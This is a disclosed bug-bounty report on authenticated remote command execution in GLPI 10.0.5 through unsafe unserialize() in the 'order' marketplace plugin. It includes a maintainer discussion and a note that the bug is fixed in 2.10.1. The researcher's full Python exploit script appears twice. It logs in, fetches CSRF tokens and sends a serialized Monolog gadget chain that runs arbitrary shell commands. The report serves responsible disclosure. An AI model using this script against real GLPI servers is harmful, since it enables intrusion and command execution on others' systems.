Authenticated Remote Command Execution on GLPI 10.0.5 due to vulnerable marketplace plugin in pluginsglpi/order

Valid

Reported on

Nov 30th 2022


Description

It was found that GLPI at the current version (10.0.5) is vulnerable to a remote command execution when an attacker has super-user privileges. This is possible due to an attacker being able to download a plugin that contains files that was calling unserialize() into $_POST['entity_restrict']. This vulnerability is able to be turned into a remote command execution with a popular gadget for monolog/monolog (Monolog/RCE6 on phpggc) which is installed by default on GLPI.

After the attacker configures the marketplace, installs and enables the plugin. He will be able to reach the vulnerable file by making a POST request to /marketplace/order/ajax/dropdownContact.php with the URL-encoded monolog/monolog gadget on the entity_restrict POST parameter.

Proof of Concept

#####################################################
#                                                   #
#  Exploit made by Daniel Matsumoto (@c3l3si4n)     #
#  30/11/2022                                       #
#                                                   #
#                                                   #
#####################################################
import requests
from phpserialize import serialize, unserialize
from phpserialize.decorators import namespace
import argparse
import base64

session = requests.session()
command = ""
monolog_payload = b"O:37:\"Monolog\\Handler\\FingersCrossedHandler\":3:{s:16:\"\x00*\x00passthruLevel\";i:0;s:9:\"\x00*\x00buffer\";a:1:{s:4:\"test\";a:2:{i:0;s:REPLACE_ME_LEN:\"REPLACE_ME\";s:5:\"level\";N;}}s:10:\"\x00*\x00handler\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";N;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";N;s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}"





def get_index_csrf(url, session, logged=False):
    burp0_url = url + "/front/central.php" if logged else url
    r = session.get(burp0_url, verify=False).text
    try:
        token = r.split('"_glpi_csrf_token" value="')[1].split('" />')[0]
        
        if logged:
            return token
        else:
            login_field = r.split('<input type="text" class="form-control" id="login_name" name="')[1].split('" placeholder="" tabindex="1" />')[0]
            password_field = r.split('<input type="password" class="form-control" name="')[1].split('" placeholder="" autocomplete="off" tabindex="2" />')[0]
            return token, login_field, password_field

    except IndexError as e:
        print("\n[!] Error while fetching CSRF token. Make sure the --url argument is pointing to the web root of GLPI.")
        exit(1)


def attempt_exploit(url, session, command_to_exec, csrf_token):
    command_to_exec = f"echo {base64.b64encode(command_to_exec.encode()).decode()}|base64 -d|sh".encode()
    serialized = monolog_payload.replace(b"REPLACE_ME_LEN", str(len(command_to_exec)).encode()).replace(b"REPLACE_ME", command_to_exec)
    burp0_url = "http://127.0.0.1:80/marketplace/order/ajax/dropdownContact.php"
    burp0_headers = {"sec-ch-ua": "\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Glpi-Csrf-Token": csrf_token, "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-platform": "\"Linux\"", "Origin": "http://127.0.0.1", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://127.0.0.1/front/central.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    burp0_data = {"entity_restrict": serialized}
    r = session.post(burp0_url, headers=burp0_headers , data=burp0_data)
    print("[*] Full URL: " + burp0_url)
    print("[*] Request Dict: " + str(burp0_data))
    print("\n\n[*] Output of your command:\n" + r.text)


def start(url, username, password, command, session):
    csrf_token, login_field, password_field = get_index_csrf(url, session)

    burp0_url = f"{url}/front/login.php"
    burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    burp0_data = {"noAUTO": "0", "redirect": '', "_glpi_csrf_token": csrf_token, login_field: username, password_field: password, "auth": "local", "fieldc6386e4d7ef54c": "on", "submit": ''}
    r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)

    

    csrf_token = get_index_csrf(url, session, logged=True)
    attempt_exploit(url, session, command, csrf_token)

def main():
    parser = argparse.ArgumentParser(description='Exploit for Authenticated Remote Command Execution on GLPI 10.0.5 (made by @c3l3si4n)\n')
    parser.add_argument('-u','--username', help='Username of a super-admin user', required=False, default="glpi")
    parser.add_argument('-p','--password', help='Password of a super-admin user', required=False, default="glpi")
    parser.add_argument('-c','--command', help='Command to execute', required=False, default="id")
    parser.add_argument('-t','--url', help='Base URL of GLPI installation', required=True)

    args = vars(parser.parse_args())
    start(args['url'], args['username'], args['password'], args['command'], session)

main()
#start('http://127.0.0.1/', 'glpi', 'glpi', 'id', session)

Impact

Since the GLPI super-user role doesn't have any access to features that trigger RCE. This is considered a vulnerability. By exploiting this vulnerability an attacker can use their elevated privileges on the panel to exploit this vulnerability and achieve RCE.

We are processing your report and will contact the pluginsglpi/order team within 24 hours. 6 months ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 6 months ago
Celesian
6 months ago

Researcher


It seems like the SECURITY.md was created by the GLPI team.

Celesian
6 months ago

Researcher


@admin

Celesian
5 months ago

Researcher


Hello @admin, 22 days have passed since the SECURITY.md file was created by the maintainer. Could we proceed with the triaging process? Just remembering that this vulnerability impacts the main GLPI product, due to this plugin being installable by an admin.

Pavlos
4 months ago

Admin


On it :)

We have contacted a member of the pluginsglpi/order team and are waiting to hear back 4 months ago
pluginsglpi/order maintainer
4 months ago

Maintainer


Hi,

Could you tell me what Monolog version is supposed to be affected by this RCE ?

phpggc indicates Monolog/RCE6 1.10.0 <= 2.7.0+ and on GLPI 10.0.6, Monolog version is 2.8.0.

Celesian
4 months ago

Researcher


Hey, It seems like the gadget still works for Monolog 2.8.0. Here's a fixed version of the PoC script (I found a bug earlier):

#####################################################
#                                                   #
#  Exploit made by Daniel Matsumoto (@c3l3si4n)     #
#  30/11/2022                                       #
#                                                   #
#                                                   #
#####################################################
import requests
from phpserialize import serialize, unserialize
from phpserialize.decorators import namespace
import argparse
import base64

session = requests.session()
command = ""
monolog_payload = b"O:37:\"Monolog\\Handler\\FingersCrossedHandler\":3:{s:16:\"\x00*\x00passthruLevel\";i:0;s:9:\"\x00*\x00buffer\";a:1:{s:4:\"test\";a:2:{i:0;s:REPLACE_ME_LEN:\"REPLACE_ME\";s:5:\"level\";N;}}s:10:\"\x00*\x00handler\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";N;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";N;s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}"





def get_index_csrf(url, session, logged=False):
    burp0_url = url + "/front/central.php" if logged else url
    r = session.get(burp0_url, verify=False).text
    try:
        token = r.split('"_glpi_csrf_token" value="')[1].split('" />')[0]
        
        if logged:
            return token
        else:
            login_field = r.split('<input type="text" class="form-control" id="login_name" name="')[1].split('" placeholder="" tabindex="1" />')[0]
            password_field = r.split('<input type="password" class="form-control" name="')[1].split('" placeholder="" autocomplete="off" tabindex="2" />')[0]
            return token, login_field, password_field

    except IndexError as e:
        print("\n[!] Error while fetching CSRF token. Make sure the --url argument is pointing to the web root of GLPI.")
        exit(1)


def attempt_exploit(url, sess, command_to_exec, csrf_token):
    command_to_exec = f"echo {base64.b64encode(command_to_exec.encode()).decode()}|base64 -d|sh".encode()
    serialized = monolog_payload.replace(b"REPLACE_ME_LEN", str(len(command_to_exec)).encode()).replace(b"REPLACE_ME", command_to_exec)
    burp0_url = f"{url}/marketplace/order/ajax/dropdownContact.php"
    burp0_data = {"entity_restrict": serialized}
    headers = {"X-Glpi-Csrf-Token":csrf_token}
    r = sess.post(burp0_url , data=burp0_data, headers=headers)
    print("[*] Full URL: " + burp0_url)
    print("[*] Request Dict: " + str(burp0_data))
    print("\n\n[*] Output of your command:\n" + r.text)


def start(url, username, password, command, session):
    csrf_token, login_field, password_field = get_index_csrf(url, session)

    burp0_url = f"{url}/front/login.php"
    burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    burp0_data = {"noAUTO": "0", "redirect": '', "_glpi_csrf_token": csrf_token, login_field: username, password_field: password, "auth": "local", "fieldc6386e4d7ef54c": "on", "submit": ''}
    r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)

    

    csrf_token = get_index_csrf(url, session, logged=True)
    attempt_exploit(url, session, command, csrf_token)

def main():
    parser = argparse.ArgumentParser(description='Exploit for Authenticated Remote Command Execution on GLPI 10.0.5 (made by @c3l3si4n)\n')
    parser.add_argument('-u','--username', help='Username of a super-admin user', required=False, default="glpi")
    parser.add_argument('-p','--password', help='Password of a super-admin user', required=False, default="glpi")
    parser.add_argument('-c','--command', help='Command to execute', required=False, default="id")
    parser.add_argument('-t','--url', help='Base URL of GLPI installation', required=True)

    args = vars(parser.parse_args())
    start(args['url'], args['username'], args['password'], args['command'], session)

main()
Cédric Anne modified the Severity from High (7.2) to High (8.8) 4 months ago
Cédric Anne
4 months ago

Maintainer


I changed required provileges from high to low. Indeed, I consider that installation of the plugin is not part of the attack. Attacker should only have rights to access to the standard interface to be able to process to the attack, but do not requires admin rights.

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Cédric Anne validated this vulnerability 4 months ago
Celesian has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Cédric Anne
4 months ago

Maintainer


https://github.com/pluginsGLPI/order/security/advisories/GHSA-xfx2-qx2r-3wwm

Cédric Anne marked this as fixed in 2.10.1 with commit c78e64 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Cédric Anne published this vulnerability 2 months ago
to join this conversation